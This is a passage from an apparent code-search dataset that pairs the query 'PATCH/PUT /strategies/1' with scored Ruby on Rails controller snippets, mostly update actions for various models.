new_task_path\n\t\t\t\t#binding.pry\n\t\t\tend\n\tend", "title": "" }, { "docid": "9fbeb77fa6c67a4c332ccc0a1b2d1328", "score": "0.64141023", "text": "def create\n @task = Task.new(params[:task])\n\n respond_to do |format|\n if(@project.tasks <<@task)\n flash[:notice]='Task was successfully created'\n format.html{redirect_to project_url(@project)}\n else\n format.html{render :action=>:new}\n end\n end\n\n end", "title": "" }, { "docid": "f125bf0d415c87eec0620ef089f17d32", "score": "0.6406727", "text": "def set_task\n if Task.where(id: params[:id]).exists?\n @task = Task.find(params[:id])\n else\n redirect_to user_projects_path(current_user), info: \"Task with id #{params[:id]} not created.\"\n end\n end", "title": "" }, { "docid": "960c3a376f87dd2046ab5af9c2ef3b35", "score": "0.6398118", "text": "def create\n @task = @list.tasks.new(task_params)\n\n @task.save\n end", "title": "" }, { "docid": "7f5a5a2ba56c9cfc62232b4ebee4470c", "score": "0.63964045", "text": "def task description, test_code, validation_code\n @tasks << Task.new(description, test_code, validation_code)\n end", "title": "" }, { "docid": "d781b9551844153b99124b8a0a334c7b", "score": "0.63950837", "text": "def add_item(task)\n @list + [task]\n end", "title": "" } ]
6c7628394e558c36c9979c9b0dc27f84
PATCH/PUT /strategies/1 PATCH/PUT /strategies/1.json
[ { "docid": "7e65643e91aa5d4787c66696515a730a", "score": "0.61122864", "text": "def update\n\n if current_user.admin?\n respond_to do |format|\n if @strategy.update(strategy_params)\n format.html { redirect_to @strategy, notice: 'Strategy was successfully updated.' }\n format.json { render :show, status: :ok, location: @strategy }\n else\n format.html { render :edit }\n format.json { render json: @strategy.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" } ]
[ { "docid": "a63d1af318e9d2c993ec44205451b280", "score": "0.69006705", "text": "def update\n @strategy = Strategy.find(params[:id])\n\n respond_to do |format|\n if @strategy.update_attributes(params[:strategy])\n format.html { redirect_to @strategy, notice: 'Strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6ed39c16eb14f758fbabd0b75141c55", "score": "0.6447535", "text": "def update\n respond_to do |format|\n if @strategy.update(strategy_params)\n format.html { redirect_to @strategy }\n format.json { render :show, status: :ok, location: @strategy }\n else\n format.html { render :edit }\n format.json { render json: @strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f91dde7a6888359ad95f7798b8520b8", "score": "0.62246364", "text": "def update\n @ped_strategy = PedStrategy.find(params[:id])\n\n respond_to do |format|\n if @ped_strategy.update_attributes(params[:ped_strategy])\n format.html { redirect_to @ped_strategy, notice: 'Ped strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ped_strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c0eedc93318580f48e554bc465d981f", "score": "0.6174607", "text": "def update\n @slh_strategy = SlhStrategy.find(params[:id])\n\n respond_to do |format|\n if @slh_strategy.update_attributes(params[:slh_strategy])\n format.html { redirect_to @slh_strategy, :notice => 'Slh strategy was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @slh_strategy.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4994b958dae7f81feb8c3ab72fffef47", "score": "0.6149381", "text": "def update\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n\n respond_to do |format|\n if @plantype_strategy.update_attributes(params[:plantype_strategy])\n format.html { redirect_to @plantype_strategy, notice: 'Plantype strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plantype_strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef9e09210e13a167df4298e7b1625466", "score": "0.613046", "text": "def update\n @trading_strategy = TradingStrategy.find(params[:id])\n\n respond_to do |format|\n if @trading_strategy.update_attributes(params[:trading_strategy])\n format.html { redirect_to @trading_strategy, notice: 'Trading strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trading_strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad95f853e5a00361c790d5e236d1d250", "score": "0.6036076", "text": "def update\n @trading_strategy_set = TradingStrategySet.find(params[:id])\n\n respond_to do |format|\n if @trading_strategy_set.update_attributes(params[:trading_strategy_set])\n format.html { redirect_to @trading_strategy_set, notice: 'Trading strategy set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trading_strategy_set.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f2fb3d83ae0e035db84ff63a63d32ef", "score": "0.59709", "text": "def update\n @medium_mission_strategy = MediumMissionStrategy.find(params[:id])\n\n respond_to do |format|\n if @medium_mission_strategy.update_attributes(params[:medium_mission_strategy])\n format.html { redirect_to @medium_mission_strategy, notice: 'Medium mission strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @medium_mission_strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d6a61f3186174209e44862cb0ae05d7", "score": "0.5943363", "text": "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "title": "" }, { "docid": "31923363e9dc53316edbcc2ed7d3cf42", "score": "0.59093016", "text": "def update\n authorize! :update, @theorem\n if @theorem.update(theorem_params)\n render json: @theorem, status: :ok, location: @theorem\n else\n render json: @theorem.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4e0e59715d19dce2a47fccc2c67326dd", "score": "0.58478457", "text": "def patch!\n request! :patch\n end", "title": "" }, { "docid": "fe3f5487cc030bcc51810f01b80443e7", "score": "0.58370185", "text": "def update\n @strategyweb = Strategyweb.find(params[:id])\n\n respond_to do |format|\n if @strategyweb.update_attributes(params[:strategyweb])\n format.html { redirect_to :action=>\"index\", notice: 'Strategyweb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @strategyweb.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "576f27e4c99d0868b0454fedc7deba0c", "score": "0.58021986", "text": "def update # PATCH\n raise NotImplementedError\n end", "title": "" }, { "docid": "b5bc287e9f72e8eaf4a50bca91eb4758", "score": "0.5791475", "text": "def update\n @strategyweb = Strategyweb.find(params[:id])\n\n respond_to do |format|\n if @strategyweb.update_attributes(params[:strategyweb])\n format.html { redirect_to @strategyweb, notice: 'Strategyweb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @strategyweb.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "54f95a361000b6219275e377b8bf4555", "score": "0.5751303", "text": "def update options={}\n client.put(\"/#{id}\", options)\n end", "title": "" }, { "docid": "e7663d0348b74542ff1d2f4fd96156fe", "score": "0.57165736", "text": "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "title": "" }, { "docid": "bcf5fdd63a94593e3e3d52b87bdb1d4e", "score": "0.57077056", "text": "def update\n respond_to do |format|\n if @product_strategy.update(product_strategy_params)\n format.html { redirect_to @product_strategy, notice: 'Product strategy was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_strategy }\n else\n format.html { render :edit }\n format.json { render json: @product_strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e991143a2fac36d7f18457c977219488", "score": "0.57059366", "text": "def update\n @housing_feature = HousingFeature.find(params[:id])\n\n respond_to do |format|\n if @housing_feature.update_attributes(params[:housing_feature])\n format.html { redirect_to @housing_feature, notice: 'Housing feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @housing_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f5ad8cfd2b731fdac270832326a2f786", "score": "0.567685", "text": "def sync(params = {})\n params ||= {}\n params[:id] = @attributes[:id]\n raise MissingParameterError.new(\"Current object doesn't have a id\") unless @attributes[:id]\n raise InvalidParameterError.new(\"Bad parameter: id must be an Integer\") if params[:id] and !params[:id].is_a?(Integer)\n raise MissingParameterError.new(\"Parameter missing: id\") unless params[:id]\n\n Api.send_request(\"/sso_strategies/#{@attributes[:id]}/sync\", :post, params, @options)\n end", "title": "" }, { "docid": "4152c4240281d1dbbef66836e5cacbe5", "score": "0.5629743", "text": "def update\n goal = Goal.find params[:id]\n if goal.update(goal_params)\n render json: goal, status: 200\n else\n render json: goal.errors.full_messages, status: 422\n end\n end", "title": "" }, { "docid": "f66a9fb7c94d919199ea724d5cb9fb64", "score": "0.5609622", "text": "def update\n authorize @objective.strategy, :update_objective?\n respond_to do |format|\n if @objective.update(objective_params)\n format.html { redirect_to @objective}\n format.json { render :show, status: :ok, location: @objective }\n else\n format.html { render :edit }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a433682022c83771e6a5ce48f3b7d8b", "score": "0.5609104", "text": "def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end", "title": "" }, { "docid": "314b66b0f393c2b5b50b3455f6a64122", "score": "0.5576398", "text": "def edit\n @therapist_consent = TherapistConsent.find(params[:id])\n respond_to do |format|\n format.html { render action: 'edit' }\n format.json { render :status => 200, :json => { action: 'edit', therapist_consent: @therapist_consent}}\n end\n end", "title": "" }, { "docid": "51354d14a7a51d162b852a01312814c5", "score": "0.556845", "text": "def update\n @contractor_feature = ContractorFeature.find(params[:id])\n\n respond_to do |format|\n if @contractor_feature.update_attributes(params[:contractor_feature])\n format.html { redirect_to @contractor_feature, notice: 'Contractor feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3872c36f134fd8678fe0806b8ac17d78", "score": "0.5545232", "text": "def update\n @scenario = Scenario.find(params[:id])\n\n respond_to do |format|\n if @scenario.update_attributes(params[:scenario])\n format.html { redirect_to @scenario, notice: 'Scenario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e07a7e3793c482a1a2ffb7111a91bd7b", "score": "0.55123425", "text": "def update\n if @scenario.update(scenario_params)\n \trender json: @scenario\n else\n \trender json: {status: 'ERROR', data: @scenario.errors}\n end\n end", "title": "" }, { "docid": "d3abc8887989710dfc28e7e38b9df59f", "score": "0.55082273", "text": "def partial_update(klass, id, patchset, options = {}, format = nil)\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n options = { resource: klass, id: id, format: format}.merge options\n if [FHIR::Formats::ResourceFormat::RESOURCE_XML, FHIR::Formats::ResourceFormat::RESOURCE_XML_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_XML\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_XML}\"\n elsif [FHIR::Formats::ResourceFormat::RESOURCE_JSON, FHIR::Formats::ResourceFormat::RESOURCE_JSON_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_JSON\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_JSON}\"\n end\n headers[:prefer] = @return_preference if @use_return_preference\n reply = patch resource_url(options), patchset, fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end", "title": "" }, { "docid": "f11746d9b3fd0189538f421af298c8c2", "score": "0.5493571", "text": "def update\n @orderable_concept = OrderableConcept.find(params[:id])\n\n respond_to do |format|\n if @orderable_concept.update_attributes(params[:orderable_concept])\n format.html { redirect_to @orderable_concept, notice: 'Orderable concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orderable_concept.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "566b79a755478221953c8e53a0770812", "score": "0.54900634", "text": "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "title": "" }, { "docid": "566b79a755478221953c8e53a0770812", "score": "0.54900634", "text": "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "title": "" }, { "docid": "c5622ce01c661c1cc0ec4b0839c587ff", "score": "0.54898065", "text": "def update\n respond_to do |format|\n if @api_v1_concern.update(api_v1_concern_params)\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_concern }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "690c85c2f5d797e445a1f493f8ed868a", "score": "0.5480554", "text": "def update\n render_json_auto @survey.update_logic_control_rule(params[:id].to_i, params[:logic]) and return\n end", "title": "" }, { "docid": "4a6ea0206ae302793d024264c3e4c5c9", "score": "0.5474374", "text": "def update\n @poll_options_set = PollOptionsSet.find(params[:id])\n\n respond_to do |format|\n if @poll_options_set.update_attributes(params[:poll_options_set])\n format.html { redirect_to @poll_options_set, notice: 'Poll options set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @poll_options_set.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c1027746dceb0a765a4569f64583c417", "score": "0.54723907", "text": "def update\n @witch = Witch.find(params[:id])\n\n respond_to do |format|\n if @witch.update_attributes(params[:witch])\n format.html { redirect_to @witch, notice: 'Witch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @witch.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "931f17c5c899a79322a439bd3a6eca7b", "score": "0.54709244", "text": "def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "693f79bdb1cc0efc9addc0c25e3f91c7", "score": "0.54702526", "text": "def update\n @scenario = Scenario.find(params[:id])\n\n respond_to do |format|\n if @scenario.update_attributes(scenario_params)\n format.html { redirect_to @scenario, notice: 'Scenario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "635c4b1edb7f1a723c35bc37050570fe", "score": "0.5469896", "text": "def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end", "title": "" }, { "docid": "2c8ebb7207e2ee06b490af7da558f787", "score": "0.54638904", "text": "def update\n @plans = @goal.plans\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n @needs = @goal.needs\n respond_to do |format|\n if @goal.update(goal_params)\n format.html { redirect_to back_index_case_url, notice: 'Goal was successfully updated.' }\n # format.json { render :show, status: :ok, location: @goal }\n else\n format.html { render :edit }\n format.json { render json: @goal.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "496c2796ef049221622ff21443bd82d3", "score": "0.5446987", "text": "def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed2e6a12a9e677d1e24b31130a93f56c", "score": "0.5435688", "text": "def update\n @operation = Operation.find(params[:id])\n params[:operation][\"inputs\"] = filter_distribution_ids(params[:operation][\"inputs\"])\n @model = Model.find(params[:model_id])\n respond_to do |format|\n if @operation.update_attributes(params[:operation])\n format.html { redirect_to user_model_path(@model.user,@model), notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "129813f878bdb65e40141aa72a205f4e", "score": "0.54340243", "text": "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end", "title": "" }, { "docid": "fb88fef9ffa0d872f40dcfb6a7c29bc5", "score": "0.54278916", "text": "def patch(path, opts = {})\n request(:patch, path, opts).body\n end", "title": "" }, { "docid": "90c87a65b4632c91f1751dc3dec1e21f", "score": "0.54164785", "text": "def update\n @gather = Gather.find(params[:id])\n\n respond_to do |format|\n if @gather.update_attributes(params[:gather])\n format.html { redirect_to @gather, notice: 'Gather was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gather.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d37b39a795a6e081d6480942ece1c538", "score": "0.54154825", "text": "def put!\n request! :put\n end", "title": "" }, { "docid": "909b760f54f181542cb95aee2413689b", "score": "0.5399091", "text": "def patch\n end", "title": "" }, { "docid": "13a8dfcdaaa1829dd79da99b758ed8ab", "score": "0.53932005", "text": "def update\n @concern = Concern.find(params[:id])\n\n respond_to do |format|\n if @concern.update_attributes(params[:concern])\n format.html { redirect_to @concern, notice: 'Concern was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concern.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b3d6af3e1ade5f41124866b57a6b326", "score": "0.5387388", "text": "def patch(path, **args); end", "title": "" }, { "docid": "ba6c1d64ad376e2aae757d2ee82edc8a", "score": "0.53862005", "text": "def update\n @user_hour_requirement = UserHourRequirement.find(params[:id])\n\n respond_to do |format|\n if @user_hour_requirement.update_attributes(params[:user_hour_requirement])\n format.html { redirect_to @user_hour_requirement, :notice => 'User hour requirement was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_hour_requirement.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b81728f39c98f5fef4a6bf13d82e916", "score": "0.53826594", "text": "def update\n respond_to do |format|\n if @pick.update_attributes(picks_params)\n format.html { redirect_to games_path, notice: 'Pick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pick.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f4d8c1a47f2c719d1b0707f5ab982f4e", "score": "0.5372187", "text": "def update\n @survey_choice = Survey::Choice.find(params[:id])\n\n respond_to do |format|\n if @survey_choice.update_attributes(params[:survey_choice])\n format.html { redirect_to @survey_choice, notice: 'Choice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_choice.errors, status: :unprocessable_entity }\n5 end\n end\n end", "title": "" }, { "docid": "85d2ed02d760acd40f7badcfec78a18a", "score": "0.5371559", "text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "title": "" }, { "docid": "ece6ba89f97db2812ed367ae370f1e34", "score": "0.5360019", "text": "def update!(**args)\n @option = args[:option] if args.key?(:option)\n @scenario = args[:scenario] if args.key?(:scenario)\n @status = args[:status] if args.key?(:status)\n end", "title": "" }, { "docid": "586d78a6fbd827f109beb0af916ae34e", "score": "0.5356506", "text": "def update\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n if @gotcha.update_attributes(params[:gotcha])\n format.html { redirect_to @gotcha, notice: 'Gotcha was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gotcha.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed306c936ad2043230edd933c2a72f6f", "score": "0.53564024", "text": "def update\n feature.update_attributes(feature_params)\n\n respond_with(feature)\n end", "title": "" }, { "docid": "2ec1c39a0f44fe4df453b27be566c436", "score": "0.5355981", "text": "def update\n @jetty = Jetty.find(params[:id])\n\n respond_to do |format|\n if @jetty.update_attributes(params[:jetty])\n format.html { redirect_to @jetty, notice: 'Jetty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jetty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d12fbc13d258a640a94368623904b957", "score": "0.53466636", "text": "def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d4ef989d8743bdf8c57e55d4d894dddc", "score": "0.5344176", "text": "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "title": "" }, { "docid": "516663002bf0e3ec78836f81f2454065", "score": "0.5337333", "text": "def update\n respond_to do |format|\n if @hypothesis.update(hypothesis_params)\n format.html { redirect_to @hypothesis, notice: 'Hypothesis was successfully updated.' }\n format.json { render :show, status: :ok, location: @hypothesis }\n else\n format.html { render :edit }\n format.json { render json: @hypothesis.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "778d4a389345d2a0c9c4fd76356a4e6c", "score": "0.53359795", "text": "def update\n respond_to do |format|\n if @stuck.update(stuck_params)\n format.html { redirect_to @stuck, notice: 'Stuck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stuck.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "91a6857155a7eeefbf8675b781e9a0da", "score": "0.5333674", "text": "def update\n @goals = @need.goals\n @goals = @need.goals\n @plans = @goals.map(&:plans).flatten.uniq\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n respond_to do |format|\n if @need.update(need_params)\n format.html { redirect_to back_index_case_url, notice: 'Need was successfully updated.' }\n # format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "53727df11c5bedd4f46e599f8a76aab8", "score": "0.53197193", "text": "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @response = args[:response] if args.key?(:response)\n end", "title": "" }, { "docid": "466b8d91f4d4b627a6309506f6ab667f", "score": "0.5316478", "text": "def update\n respond_to do |format|\n if @shoe.update(shoe_params)\n format.html { redirect_to runner_shoes_path, notice: 'Zapatilla actualizada satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a54ced7b324c076823fa6b8e01ac25ed", "score": "0.53144264", "text": "def update\n respond_to do |format|\n if @hack.update_attributes(params[:hack])\n format.html { redirect_to @event, :notices => ['Hack was successfully updated.'] }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @hack.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec1beb64f4dda2d2e9a15f20b12b6f12", "score": "0.5310641", "text": "def update\n @trick = Trick.find(params[:id])\n\n respond_to do |format|\n if @trick.update_attributes(params[:trick])\n format.html { redirect_to @trick, notice: 'Trick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trick.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4bd9dfcae3a4919e05763a0f0e20017a", "score": "0.5309934", "text": "def update!(**args)\n @supports_partial_fulfillment = args[:supports_partial_fulfillment] if args.key?(:supports_partial_fulfillment)\n @supports_synchronous_execution = args[:supports_synchronous_execution] if args.key?(:supports_synchronous_execution)\n end", "title": "" }, { "docid": "903ea6414b0289e62090727cc8aa3fdf", "score": "0.5307503", "text": "def update_single_poll(id,polls__question__,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :polls__question__,\n :polls__description__,\n \n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n raise \"polls__question__ is required\" if polls__question__.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id,\n :polls__question__ => polls__question__\n )\n\n # resource path\n path = path_replace(\"/v1/polls/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:put, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:put, path, query_params, form_params, headers)\n page_params_store(:put, path)\n response\n \n end", "title": "" }, { "docid": "8d6b409f8b1a7512a0f5f5d6ed11f4ed", "score": "0.53026605", "text": "def update\n expose Challenge.update(@oauth_token, params[:challenge_id].strip,\n params[:data])\n end", "title": "" }, { "docid": "fb3f6b4194f6fdb5c0eeb3e5b1a8a675", "score": "0.5301701", "text": "def update\n @feature = Feature.find(params[:id])\n if params[:vehicle_id]\n @method = Vehicle.find(params[:vehicle_id]).toggle_feature(@feature)\n end\n\n respond_to do |format|\n if @feature.update_attributes(feature_params)\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1390d80b3fd2d4a6b423ab1b4b6c3a82", "score": "0.5297817", "text": "def patch(operation, path, value = nil)\n ensure_client && ensure_uri\n body = {\n 'op' => operation,\n 'path' => path,\n 'value' => value\n }\n response = @client.rest_patch(@data['uri'], { 'Content-Type' => 'application/json-patch+json', 'body' => [body] }, @api_version)\n @client.response_handler(response)\n end", "title": "" }, { "docid": "921141b1964ec325151a7a59d027135c", "score": "0.5296663", "text": "def update\n respond_to do |format|\n if @bottle.update(bottle_params)\n format.html { redirect_to user_path(current_user.id), notice: 'Bottle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bottle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "650f40d1a80cfbdc9cbe274716ad27ed", "score": "0.52890104", "text": "def update\n @strategy_guide = StrategyGuide.find(params[:id])\n @strategy_guide.user = current_user\n \n if @strategy_guide.update_attributes(params[:strategy_guide])\n if @strategy_guide.skill_build.nil?\n redirect_to(new_strategy_guide_skill_build_path(@strategy_guide.id))\n else\n redirect_to(edit_strategy_guide_skill_build_path(@strategy_guide.id, @strategy_guide.skill_build.id))\n end\n else\n @heroes = Hero.ordered.map { |hero| [hero.name, hero.id] }\n @hero_pros = @strategy_guide.hero_pros\n @hero_cons = @strategy_guide.hero_cons\n render :action => \"edit\"\n end\n \n end", "title": "" }, { "docid": "4a8ad5ac2814f0ccaf78be6762e2b7e8", "score": "0.52829254", "text": "def update\n @testing_algorithm = TestingAlgorithm.find(params[:id])\n\n if @testing_algorithm.update(params[:testing_algorithm])\n head :no_content\n else\n render json : @testing_algorithm.errors, status : :unprocessable_entity\n end\n end", "title": "" }, { "docid": "39fa38e0d4ccde163ebb6d5413a4a724", "score": "0.52804595", "text": "def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end", "title": "" }, { "docid": "64105c3a3897501d54ca6c0723569b19", "score": "0.5279626", "text": "def update\n @operation = Operation.find(params[:id])\n\n respond_to do |format|\n if @operation.update_attributes(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "539204a2d8bf14c318af25a311f62594", "score": "0.52752423", "text": "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "9ffe9b61226a3c72864dd934eae69848", "score": "0.52743155", "text": "def update\n respond_to do |format|\n if @compliance_tool.update(compliance_tool_params)\n format.html { redirect_to @compliance_tool, notice: 'Compliance tool was successfully updated.' }\n format.json { render :show, status: :ok, location: @compliance_tool }\n else\n format.html { render :edit }\n format.json { render json: @compliance_tool.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "593a44661145186c50e85fe3c02ffd96", "score": "0.52739465", "text": "def patch(path, params = {})\n request(:patch, path, params)\n end", "title": "" }, { "docid": "593a44661145186c50e85fe3c02ffd96", "score": "0.52739465", "text": "def patch(path, params = {})\n request(:patch, path, params)\n end", "title": "" }, { "docid": "287dda79d2db691469e68daac782d974", "score": "0.5272279", "text": "def update\n @hack = Hack.find(params[:id])\n\n respond_to do |format|\n if 